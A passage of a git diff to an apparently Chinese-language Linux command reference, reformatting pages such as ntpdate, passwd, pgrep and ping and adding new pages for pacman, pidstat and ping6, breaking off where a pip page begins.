1 0.0 +TcpExtDelayedACKs 37133 0.0 +TcpExtDelayedACKLocked 57 0.0 +TcpExtDelayedACKLost 456 0.0 +TcpExtTCPHPHits 417717 0.0 +TcpExtTCPPureAcks 34186 0.0 +TcpExtTCPHPAcks 222980 0.0 +TcpExtTCPSACKReorder 1 0.0 +TcpExtTCPLossUndo 194 0.0 +TcpExtTCPLostRetransmit 169 0.0 +TcpExtTCPSlowStartRetrans 1 0.0 +TcpExtTCPTimeouts 494 0.0 +TcpExtTCPLossProbes 309 0.0 +TcpExtTCPBacklogCoalesce 571 0.0 +TcpExtTCPDSACKOldSent 281 0.0 +TcpExtTCPDSACKRecv 281 0.0 +TcpExtTCPAbortOnData 13 0.0 +TcpExtTCPAbortOnClose 30 0.0 +TcpExtTCPDSACKIgnoredOld 1 0.0 +TcpExtTCPDSACKIgnoredNoUndo 258 0.0 +TcpExtTCPSackShiftFallback 1 0.0 +TcpExtTCPRcvCoalesce 18314 0.0 +TcpExtTCPFastOpenActiveFail 2 0.0 +TcpExtTCPSpuriousRtxHostQueues 11 0.0 +TcpExtTCPAutoCorking 1684 0.0 +TcpExtTCPFromZeroWindowAdv 2 0.0 +TcpExtTCPToZeroWindowAdv 2 0.0 +TcpExtTCPSynRetrans 479 0.0 +TcpExtTCPOrigDataSent 359814 0.0 +TcpExtTCPHystartTrainDetect 13 0.0 +TcpExtTCPHystartTrainCwnd 550 0.0 +TcpExtTCPKeepAlive 18 0.0 +TcpExtTCPDelivered 361695 0.0 +TcpExtTCPZeroWindowDrop 1 0.0 +TcpExtTcpTimeoutRehash 494 0.0 +TcpExtTcpDuplicateDataRehash 2 0.0 +TcpExtTCPDSACKRecvSegs 281 0.0 +IpExtInNoRoutes 3 0.0 +IpExtInMcastPkts 5392 0.0 +IpExtOutMcastPkts 221 0.0 +IpExtInBcastPkts 70 0.0 +IpExtOutBcastPkts 10 0.0 +IpExtInOctets 2100280442 0.0 +IpExtOutOctets 226760631 0.0 +IpExtInMcastOctets 746608 0.0 +IpExtOutMcastOctets 27565 0.0 +IpExtInBcastOctets 5674 0.0 +IpExtOutBcastOctets 778 0.0 +IpExtInNoECTPkts 1885871 0.0 +``` \ No newline at end of file diff --git a/command/ntpdate.md b/command/ntpdate.md index bbcdcf87d3f..c44638bd08a 100644 --- a/command/ntpdate.md +++ b/command/ntpdate.md @@ -18,58 +18,25 @@ ntpdate 你必须有 root 权限才能在主机上运行这个命令。 -### 语法 +### 语法 ```shell ntpdate [ -b] [ -d] [ -s] [ -u] [ -aKeyid] [ -eAuthenticationDelay] [ -kKeyFile] [ -oVersion] [ -pSamples] [ -tTimeOut] Server... ``` -### 选项 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-aKeyid使用 Keyid 来认证全部数据包。
-b通过调用 settimeofday 子例程来增加时钟的时间。
-d指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。
-eAuthenticationDelay指定延迟认证处理的时间秒数。
-kKeyFile当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。
-oVersion当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。
-pSamples指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。
-s指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。
-tTimeOut指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。
-u指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。
+### 选项 +```shell +-aKeyid # 使用 Keyid 来认证全部数据包。 +-b # 通过调用 settimeofday 子例程来增加时钟的时间。 +-d # 指定调试方式。判断 ntpdate 命令会产生什么结果(不产生实际的结果)。结果再现在屏幕上。这个标志使用无特权的端口。 +-eAuthenticationDelay # 指定延迟认证处理的时间秒数。 +-kKeyFile # 当不使用缺省值 /etc/ntp.keys 文件时,为包含密钥的文件指定一个不同的名称。 请参阅文件KeyFile的描述。 +-oVersion # 当轮询它的发出数据包时,指定使用的 NTP 版本实现。 Version 的值可以是 1,2,3。缺省值是 3。 +-pSamples # 指定从每个服务器获取的样本的数目。 Samples 的值在 1 和 8 之间,并包括 1 和 8。它的缺省值是 4。 +-s # 指定日志操作 syslog 设施的使用,而不是使用标准输出。 当运行 ntpdate 命令和 cron命令时,它是很有用的。 +-tTimeOut # 指定等待响应的时间。给定 TimeOut 的值四舍五入为 0.2 秒的倍数。缺省值是 1 秒。 +-u # 指定使用无特权的端口发送数据包。 当在一个对特权端口的输入流量进行阻拦的防火墙后是很有益的, 并希望在防火墙之外和主机同步。防火墙是一个系统或者计算机,它控制从外网对专用网的访问。 +-q # 仅供查询,不设置时间。 +``` - \ No newline at end of file diff --git a/command/ntsysv.md b/command/ntsysv.md index 33c12fda198..d734a171f63 100644 --- a/command/ntsysv.md +++ b/command/ntsysv.md @@ -7,20 +7,20 @@ ntsysv **ntsysv命令** 提供了一个基于文本界面的菜单操作方式,集中管理系统不同的运行等级下的系统服务启动状态。在RedHat各个发行版,CentOS各个版本,都自带这个工具。它具有互动式操作界面,您可以轻易地利用方向键和空格键等,开启,关闭操作系统在每个执行等级中,所要执行的系统服务。 -### 语法 +### 语法 ```shell ntsysv(选项) ``` -### 选项 +### 选项 ```shell --leve:指定运行等级; --back:在互动式界面里,显示Back钮,而非cancel钮。 ``` -### 实例 +### 实例 输入ntsysv命令后,出现一个交互式的管理菜单,如下: @@ -31,4 +31,4 @@ ntsysv(选项) 使用空格键选择或者取消选项! - + diff --git a/command/objdump.md b/command/objdump.md index fa737965d7f..45075ad6966 100644 --- a/command/objdump.md +++ b/command/objdump.md @@ -7,7 +7,7 @@ objdump **objdump命令** 是用查看目标文件或者可执行的目标文件的构成的gcc工具。 -### 选项 +### 选项 ```shell -a --archive-headers @@ -122,7 +122,7 @@ objdump -b oasys -m vax -h fu.o @file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 ``` -### 实例 +### 实例 首先,在给出后面大部分测试所基于的源代码以及编译指令。 源代码如下:  @@ -484,4 +484,3 @@ Idx Name Size VMA LMA File off Algn 这里,更多的内容参见`man objdump`中的这个选项。 - \ No newline at end of file diff --git a/command/od.md b/command/od.md index e88d51fc581..df270d81b63 100644 --- a/command/od.md +++ b/command/od.md @@ -9,13 +9,13 @@ od 常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。 -### 语法 +### 语法 ```shell od(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:此参数的效果和同时指定“-ta”参数相同; @@ -39,11 +39,11 @@ od(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 文件:指定要显示的文件。 -### 实例 +### 实例 ```shell [linuxde@localhost ~]$ echo abcdef g > tmp @@ -148,4 +148,3 @@ abcdef g 说明:每行输出3个字节,并使用八进制单字节进行解释 - \ No newline at end of file diff --git a/command/openssl.md b/command/openssl.md index a80778947e9..269291b9f9e 100644 --- a/command/openssl.md +++ b/command/openssl.md @@ -19,7 +19,7 @@ OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法 **非对称加密算法** -OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用户密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。  +OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用于密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。 **信息摘要算法** @@ -229,4 +229,4 @@ openssl genrsa -aes128 -out fd.key 2048 # pem format openssl rsa -text -in fd.key ``` - + diff --git a/command/pacman.md b/command/pacman.md new file mode 100644 index 00000000000..60ce0307a04 --- /dev/null +++ b/command/pacman.md @@ -0,0 +1,55 @@ +pacman +=== + +Arch Linux 系统及其衍生系统中默认使用的包管理器 + +## 安装 + +在安装 Arch Linux 时,会需要安装 base 包组,其中包括 pacman 包,具体 Arch Linux 安装流程请参见 [Arch Wiki(CN)](https://wiki.archlinuxcn.org/wiki/%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97) + +## 实例 + +### 安装软件包 +官方软件包 +```bash +pacman -S p7zip +``` + +非官方软件包(用户制作) +```bash +yay -S package_name1 package_name2 ... +``` + +### 查询软件包 + +```bash +pacman -Ss package_name1 package_name2 ... +``` + +### 列出所有软件包 + +```bash +pacman -Q +``` + +### 删除某个软件包 + +```bash +pacman -R p7zip +``` + +或者是同时删除他的依赖 + +```bash +pacman -Rsc p7zip +``` + +### 开始滚动更新 + +```bash +pacman -Syyu +``` + +## 参考资料 + +- Archlinux 中文维基 diff --git a/command/parted.md b/command/parted.md index 98c02b1e773..24512a5589a 100644 --- a/command/parted.md +++ b/command/parted.md @@ -7,27 +7,27 @@ parted **parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。 -### 语法 +### 语法 -```shellshell +```shell parted(选项)(参数) ``` -### 选项 +### 选项 -```shellshell +```shell -h:显示帮助信息; -i:交互式模式; -s:脚本模式,不提示用户; -v:显示版本号。 ``` -### 参数 +### 参数 * 设备:指定要分区的硬盘所对应的设备文件; * 命令:要执行的parted命令。 -### 实例 +### 实例 从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。 @@ -135,4 +135,3 @@ none 252M 0 252M 0% /dev/shm ``` - \ No newline at end of file diff --git a/command/partprobe.md b/command/partprobe.md index d9d17f32a7b..eeb9b188590 100644 --- a/command/partprobe.md +++ b/command/partprobe.md @@ -7,13 +7,13 @@ partprobe **partprobe命令** 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。 -### 语法 +### 语法 ```shell partprobe(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:不更新内核; @@ -22,11 +22,11 @@ partprobe(选项)(参数) -v:显示版本信息。 ``` -### 参数 +### 参数 设备:指定需要确认分区表改变的硬盘对应的设备文件。 -### 实例 +### 实例 使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下: @@ -154,4 +154,3 @@ tmpfs 2023936 0 2023936 0% /dev/shm 使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。 - \ No newline at end of file diff --git a/command/passwd.md b/command/passwd.md index a9a71edd3af..a3f8df7368a 100644 --- a/command/passwd.md +++ b/command/passwd.md @@ -7,13 +7,13 @@ passwd **passwd命令** 用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。 -### 语法 +### 语法 ```shell passwd(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:删除密码,仅有系统管理者才能使用; @@ -24,11 +24,11 @@ passwd(选项)(参数) -u:解开已上锁的帐号。 ``` -### 参数 +### 参数 用户名:需要设置密码的用户名。 -### 知识扩展 +### 知识扩展 与用户、组账户信息相关的文件 @@ -73,7 +73,7 @@ $!$  # 被加密的口令 *  # 过期天数 ``` -### 实例 +### 实例 如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。 @@ -85,6 +85,15 @@ Retype new UNIX password: # 再输入一次; passwd: all authentication tokens updated successfully. # 成功; ``` +或通过管道符把`echo`命令和`passwd`命令的`--stdin`参数相结合,用一条命令来完成密码修改,无序交互。 +以 linuxde 用户的密码改成 123456 为例: + +```shell +[root@localhost ~]# echo "123456" | passwd --stdin linuxde +Changing password for user linuxde. # 正在更改 linuxde 用户的密码。 +passwd: all authentication tokens updated successfully. # passwd:所有身份验证令牌都已成功更新 +``` + 普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。 ```shell @@ -125,4 +134,3 @@ Empty password. # 空密码,也就是没有密码; 注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。 - \ No newline at end of file diff --git a/command/paste.md b/command/paste.md index 1c9ef72600a..72b12d91175 100644 --- a/command/paste.md +++ b/command/paste.md @@ -7,22 +7,21 @@ paste **paste命令** 用于将多个文件按照列队列进行合并。 -### 语法 +### 语法 ```shell paste(选项)(参数) ``` -### 选项 +### 选项 ```shell -d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符; -s或——serial串列进行而非平行处理。 ``` -### 参数 +### 参数 文件列表:指定需要合并的文件列表。 - \ No newline at end of file diff --git a/command/patch.md b/command/patch.md index 64190db69e5..d69c2a76533 100644 --- a/command/patch.md +++ b/command/patch.md @@ -7,13 +7,13 @@ patch **patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。 -### 语法 +### 语法 ```shell patch(选项)(参数) ``` -### 选项 +### 选项 ```shell -b或--backup:备份每一个原始文件; @@ -50,10 +50,9 @@ patch(选项)(参数) --verbose:详细显示指令的执行过程。 ``` -### 参数 +### 参数 * 原文件:指定需要打补丁的原始文件; * 补丁文件:指定补丁文件。 - \ No newline at end of file diff --git a/command/pathchk.md b/command/pathchk.md index 79a58c0f78b..a7e81a988a6 100644 --- a/command/pathchk.md +++ b/command/pathchk.md @@ -7,13 +7,13 @@ pathchk **pathchk命令** 用来检查文件中不可移植的部分。 -### 语法 +### 语法 ```shell pathchk(选项)(参数) ``` -### 选项 +### 选项 ```shell -p:检查大多数的POSIX系统; @@ -23,10 +23,9 @@ pathchk(选项)(参数) --wersion:显示版本号。 ``` -### 参数 +### 参数 * 文件:带路径信息的文件; * 后缀:可选参数,指定要去除的文件后缀字符串。 - \ No newline at end of file diff --git a/command/perl.md b/command/perl.md index 056a82039d4..9c066dd063c 100644 --- a/command/perl.md +++ b/command/perl.md @@ -7,13 +7,13 @@ perl语言解释器 **perl命令** 是perl语言解释器,负责解释执行perl语言程序。 -### 语法 +### 语法 ```shell perl(选项)(参数) ``` -### 选项 +### 选项 ```shell -w:输出有用的警告信息; @@ -22,9 +22,8 @@ perl(选项)(参数) -d:在调试下运行脚本程序。 ``` -### 参数 +### 参数 文件:要运行的perl脚本程序。 - \ No newline at end of file diff --git a/command/pfctl.md b/command/pfctl.md index 980ba94a60e..c41cb33d9f1 100644 --- a/command/pfctl.md +++ b/command/pfctl.md @@ -9,7 +9,7 @@ PF防火墙的配置命令 PF防火墙的功能很多,本站只列举一些基本配置。 -### 激活 +### 激活 要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行: @@ -28,7 +28,7 @@ pfctl -d 注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。 -### 配置 +### 配置 系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。 @@ -46,7 +46,7 @@ pfctl -d 空行会被忽略,以#开头的行被认为是注释。 -### 控制 +### 控制 引导之后,PF可以通过pfctl程序进行操作,以下是一些例子: @@ -65,4 +65,3 @@ pfctl -sa # 显示任何可显示的 完整的命令列表,请参阅pfctl的man手册页。 - \ No newline at end of file diff --git a/command/pgrep.md b/command/pgrep.md index 3e008aa6666..034dbd95f2d 100644 --- a/command/pgrep.md +++ b/command/pgrep.md @@ -1,35 +1,52 @@ pgrep === -设置用户的认证信息,包括用户密码、密码过期时间等 +根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID) ## 补充说明 **pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。 -### 语法 +### 语法 ```shell pgrep(选项)(参数) ``` -### 选项 +### 选项 ```shell --o:仅显示找到的最小(起始)进程号; --n:仅显示找到的最大(结束)进程号; --l:显示进程名称; --P:指定父进程号; --g:指定进程组; --t:指定开启进程的终端; --u:指定进程的有效用户ID。 +-d, --delimiter :指定输出的分隔符。 +-l, --list-name:列出进程ID和进程名称。 +-a, --list-full:列出进程ID和完整的命令行。 +-v, --inverse:反向匹配,即只显示不匹配的进程。 +-w, --lightweight:列出所有TID(轻量级线程)。 +-c, --count:显示匹配的进程数量。 +-f, --full:使用完整的进程名称进行匹配。 +-g, --pgroup :匹配指定的进程组ID。 +-G, --group :匹配真实组ID。 +-i, --ignore-case:忽略大小写进行匹配。 +-n, --newest:选择最近启动的进程。 +-o, --oldest:选择最早启动的进程。 +-O, --older :选择启动时间早于指定秒数的进程。 +-P, --parent :只匹配给定父进程的子进程。 +-s, --session :匹配会话ID。 +-t, --terminal :根据控制终端进行匹配。 +-u, --euid :根据有效用户ID进行匹配。 +-U, --uid :根据真实用户ID进行匹配。 +-x, --exact:精确匹配进程名称。 +-F, --pidfile :从文件中读取PID。 +-L, --logpidfile:如果PID文件没有锁定,则失败。 +-r, --runstates :匹配运行状态(D, S, Z等)。 +--ns :匹配与指定PID相同命名空间的进程。 +--nslist :列出将在 --ns 选项中考虑的命名空间。可用的命名空间包括:ipc、mnt、net、pid、user、uts。 ``` -### 参数 +### 参数 进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 -### 实例 +### 实例 ```shell pgrep -lo httpd @@ -55,7 +72,17 @@ pgrep -lo httpd 4564 4565 4566 + +[root@localhost ~]# pgrep -x httpd +4557 +4560 +4561 +4562 +4563 +4564 +4565 +4566 ``` - \ No newline at end of file + diff --git a/command/php.md b/command/php.md index 8b33d1c9288..b45490b05bd 100644 --- a/command/php.md +++ b/command/php.md @@ -7,22 +7,21 @@ PHP语言的命令行接口 **php命令** 是流行的Web开发语言PHP的命令行接口,可以使用PHP语言开发基于命令行的系统管理脚本程序。 -### 语法 +### 语法 ```shell php(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:进入交互模式; -c:指定“php.ini”的搜索路径。 ``` -### 参数 +### 参数 文件:要执行的php脚本。 - \ No newline at end of file diff --git a/command/pico.md b/command/pico.md index b2c7b4a9759..76c219cdad4 100644 --- a/command/pico.md +++ b/command/pico.md @@ -22,13 +22,13 @@ Ctrl+J:段落重排; Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。 ``` -### 语法 +### 语法 ```shell pico(选项)(参数) ``` -### 选项 +### 选项 ```shell -b:开启置换的功能; @@ -53,9 +53,8 @@ pico(选项)(参数) +<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。 ``` -### 参数 +### 参数 文件:指定要编辑的文件。 - \ No newline at end of file diff --git a/command/pidof.md b/command/pidof.md index 4f5b4094285..f22690bf266 100644 --- a/command/pidof.md +++ b/command/pidof.md @@ -7,13 +7,13 @@ pidof **pidof命令** 用于查找指定名称的进程的进程号id号。 -### 语法 +### 语法 ```shell pidof(选项)(参数) ``` -### 选项 +### 选项 ```shell -s:仅返回一个进程号; @@ -22,11 +22,11 @@ pidof(选项)(参数) -o:指定不显示的进程ID。 ``` -### 参数 +### 参数 进程名称:指定要查找的进程名称。 -### 实例 +### 实例 ```shell pidof nginx @@ -40,4 +40,3 @@ pidof init ``` - \ No newline at end of file diff --git a/command/pidstat.md b/command/pidstat.md new file mode 100644 index 00000000000..b10e06e8be3 --- /dev/null +++ b/command/pidstat.md @@ -0,0 +1,120 @@ +pidstat +=== +监控进程的系统资源占用情况 + +## 说明 +**pidstat**是sysstat工具的一个命令,用于监控全部或指定进程的cpu、内存、线程、设备IO等系统资源的占用情况。 +pidstat首次运行时显示自系统启动开始的各项统计信息,之后运行pidstat将显示自上次运行该命令以后的统计信息。用户可以通过指定统计的次数和时间来获得所需的统计信息。 + +### 语法 +```shell +pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] +``` +#### 选项 +- u:默认的参数,显示各个进程的cpu使用统计 +- r:显示各个进程的内存使用统计 +- d:显示各个进程的IO使用情况 +- w:显示每个进程的上下文切换情况 +- t:显示到线程的统计信息 +- p:指定进程号 +- T { TASK | CHILD | ALL } + 这个选项指定了pidstat监控的。TASK表示报告独立的task,CHILD关键字表示报告进程下所有线程统计信息。ALL表示报告独立的task和task下面的所有线程。 + 注意:task和子线程的全局的统计信息和pidstat选项无关。这些统计信息不会对应到当前的统计间隔,这些统计信息只有在子线程kill或者完成的时候才会被收集。 +- V:版本号 +- h:在一行上显示了所有活动,这样其他程序可以容易解析。 +- I:在SMP环境,表示任务的CPU使用率/内核数量 +- l:显示命令名和所有参数 + +### 实例 +#### 查看所有进程的CPU使用情况 +```shell +# pidstat -u -p ALL +11:04:06 AM UID PID %usr %system %guest %CPU CPU Command +11:04:06 AM 0 1 0.03 0.05 0.00 0.08 20 systemd +11:04:06 AM 0 2 0.00 0.00 0.00 0.00 28 kthreadd +11:04:06 AM 0 3 0.00 0.00 0.00 0.00 0 rcu_gp +11:04:06 AM 0 4 0.00 0.00 0.00 0.00 0 rcu_par_gp +11:04:06 AM 0 6 0.00 0.00 0.00 0.00 0 kworker/0:0H-kblockd +11:04:06 AM 0 9 0.00 0.00 0.00 0.00 38 mm_percpu_wq +11:04:06 AM 0 10 0.00 0.01 0.00 0.01 0 ksoftirqd/0 +11:04:06 AM 0 11 0.00 0.23 0.00 0.23 15 rcu_sched +11:04:06 AM 0 12 0.00 0.00 0.00 0.00 0 migration/0 +11:04:06 AM 0 14 0.00 0.00 0.00 0.00 0 cpuhp/0 +11:04:06 AM 0 15 0.00 0.00 0.00 0.00 1 cpuhp/1 +... +``` +表头字段说明 +- PID:进程ID +- %usr:进程在用户空间占用cpu的百分比 +- %system:进程在内核空间占用cpu的百分比 +- %guest:进程在虚拟机占用cpu的百分比 +- %CPU:进程占用cpu的百分比 +- CPU:处理进程的cpu编号 +- Command:当前进程对应的命令 + +#### 查看所有进程的内存使用情况 +```shell +# pidstat -r +11:10:35 AM UID PID minflt/s majflt/s VSZ RSS %MEM Command +11:10:35 AM 0 1 7.24 0.05 191312 4208 0.01 systemd +11:10:35 AM 0 1407 2.02 0.09 39316 9016 0.03 systemd-journal +11:10:35 AM 0 1442 0.03 0.00 190380 1080 0.00 lvmetad +11:10:35 AM 0 1457 0.46 0.00 46252 1560 0.00 systemd-udevd +11:10:35 AM 0 2429 0.11 0.00 163620 9472 0.03 sshd +11:10:35 AM 992 2446 0.02 0.00 8588 996 0.00 lsmd +11:10:35 AM 0 2447 0.05 0.00 90572 1468 0.00 rngd +11:10:35 AM 0 2448 0.15 0.02 451272 3520 0.01 udisksd +11:10:35 AM 0 2449 0.18 0.02 396488 1948 0.01 accounts-daemon +11:10:35 AM 0 2454 0.02 0.02 201336 1464 0.00 gssproxy +... +``` +表头字段说明 +- PID:进程标识符 +- Minflt/s:任务每秒发生的次要错误,不需要从磁盘中加载内存页 +- Majflt/s:任务每秒发生的主要错误,需要从磁盘中加载内存页 +- VSZ:虚拟地址大小,虚拟内存的使用KB +- RSS:常驻集合大小,非交换区物理内存使用KB +- Command:task命令名 + +#### 查看所有进程的IO使用情况 +```shell +# pidstat -d +11:12:30 AM UID PID kB_rd/s kB_wr/s kB_ccwr/s Command +11:12:30 AM 0 1 250.05 11.57 2.13 systemd +11:12:30 AM 0 224 1.21 0.00 0.00 khugepaged +11:12:30 AM 0 290 0.03 0.00 0.00 kswapd0 +11:12:30 AM 0 291 0.02 0.00 0.00 kswapd1 +11:12:30 AM 0 1312 1.03 0.00 0.00 xfsaild/dm-0 +11:12:30 AM 0 1407 1.31 0.00 0.00 systemd-journal +11:12:30 AM 0 1442 0.01 0.00 0.00 lvmetad +11:12:30 AM 0 1457 1.77 0.00 0.00 systemd-udevd +11:12:30 AM 992 2446 0.79 0.00 0.00 lsmd +11:12:30 AM 0 2447 0.07 0.00 0.00 rngd +11:12:30 AM 0 2448 0.46 0.00 0.00 udisksd +... +``` +表头字段说明 +- PID:进程id +- kB_rd/s:每秒从磁盘读取的KB +- kB_wr/s:每秒写入磁盘KB +- kB_ccwr/s:任务取消的写入磁盘的KB。当任务截断脏的pagecache的时候会发生。 +- COMMAND:task的命令名 + +#### 查看进程的上下文切换情况 +```shell +# pidstat -w +11:15:52 AM UID PID cswch/s nvcswch/s Command +11:15:52 AM 0 1 3.15 0.03 systemd +11:15:52 AM 0 2 0.13 0.00 kthreadd +11:15:52 AM 0 3 0.00 0.00 rcu_gp +11:15:52 AM 0 4 0.00 0.00 rcu_par_gp +11:15:52 AM 0 6 0.00 0.00 kworker/0:0H-kblockd +11:15:52 AM 0 9 0.00 0.00 mm_percpu_wq +11:15:52 AM 0 10 1.99 0.00 ksoftirqd/0 +... +``` +表头字段含义 +- PID:进程id +- Cswch/s:每秒主动任务上下文切换数量 +- Nvcswch/s:每秒被动任务上下文切换数量 +- Command:命令名 diff --git a/command/pigz.md b/command/pigz.md index b7a50faa26a..8d4ddb356ba 100644 --- a/command/pigz.md +++ b/command/pigz.md @@ -1,7 +1,7 @@ pigz === -可以用来解压缩文件,gzip的并行实现升级版。 +可以用来解压缩文件,gzip的并行实现升级版 ## 补充说明 diff --git a/command/ping.md b/command/ping.md index 1ad594954e5..0b387e42c7a 100644 --- a/command/ping.md +++ b/command/ping.md @@ -1,19 +1,19 @@ ping === -测试主机之间网络的连通性 +测试主机之间网络的连通性(ipv4) ## 补充说明 **ping命令** 用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 -### 语法 +### 语法 ```shell -ping(选项)(参数) +ping (选项) (参数) ``` -### 选项 +### 选项 ```shell -d:使用Socket的SO_DEBUG功能; @@ -30,13 +30,14 @@ ping(选项)(参数) -s<数据包大小>:设置数据包的大小; -t<存活数值>:设置存活数值TTL的大小; -v:详细显示指令的执行过程。 +-w<超时秒数>:无论之前发送或接受了多少包,只要超过此秒数,程序退出; ``` -### 参数 +### 参数 目的主机:指定发送ICMP报文的目的主机。 -### 实例 +### 实例 ```shell [root@AY1307311912260196fcZ ~]# ping www.jsdig.com @@ -53,4 +54,3 @@ rtt min/avg/max/mdev = 174.068/176.916/178.182/1.683 ms ``` - \ No newline at end of file diff --git a/command/ping6.md b/command/ping6.md new file mode 100644 index 00000000000..ee976883476 --- /dev/null +++ b/command/ping6.md @@ -0,0 +1,53 @@ +ping6 +=== + +测试主机之间网络的连通性(ipv6) + +## 补充说明 + +**ping6命令** ping6 是 ICMPv6 版的 ping 实现。正确使用、访问 IPv6 网站需要您提前配置本地环境,选择支持 v6 的网站进行访问(ping)。 +执行 ping6 指令会使用 ICMPv6 传输(OSI)协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。 + +### 语法 + +```bash +ping6 (选项) (地址) [网络接口名称] +``` + +### 选项 + +```bash +-a [addrtype]: 生成 ICMPv6 节点信息节点地址查询; +-b [bufsiz]: 设置套接字缓冲区大小; +-c [count]: 在发送(和接收)ECHO_RESPONSE数据包后停止; +-h [hoplimit]: 设置 IPv6 跳数限制; +-I [interface]: 具有给定接口地址的源数据包; +-i [wait]: 在发送每个数据包之间等待几秒钟,默认是 1 秒; +-p [policy]: policy 指定要用于探测的 IPsec 策略; +``` +### 地址 + +目的主机:指定发送 ICMPv6 报文的目的主机。 + +### 实例 + +```bash +$ ping6 -c4 ipw.cn + +PING6(56=40+8+8 bytes) 2409:xxxx:xxxx:85c0::2 --> 2409:8c70:3a00:42:3a::1 +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=0 hlim=54 time=31.236 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=1 hlim=54 time=29.382 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=2 hlim=54 time=29.571 ms +16 bytes from 2409:8c70:3a00:42:3a::1, icmp_seq=3 hlim=54 time=28.973 ms + +--- 66f782g2.slt-dk.sched.tdnsv8.com ping6 statistics --- +4 packets transmitted, 4 packets received, 0.0% packet loss +round-trip min/avg/max/std-dev = 28.973/29.791/31.236/0.862 ms +``` + +### 服务器 IPv6 Ping 失败可能原因 + +1. 服务器未开启 IPv6。 +2. 服务器已开启 IPv6,但防火墙(安全组)未对源地址是 IPv6 地址(::/0)的 ICMPv6 协议开放访问, + + diff --git a/command/pip.md b/command/pip.md new file mode 100644 index 00000000000..a2157fb7582 --- /dev/null +++ b/command/pip.md @@ -0,0 +1,181 @@ +pip +=== + +Python 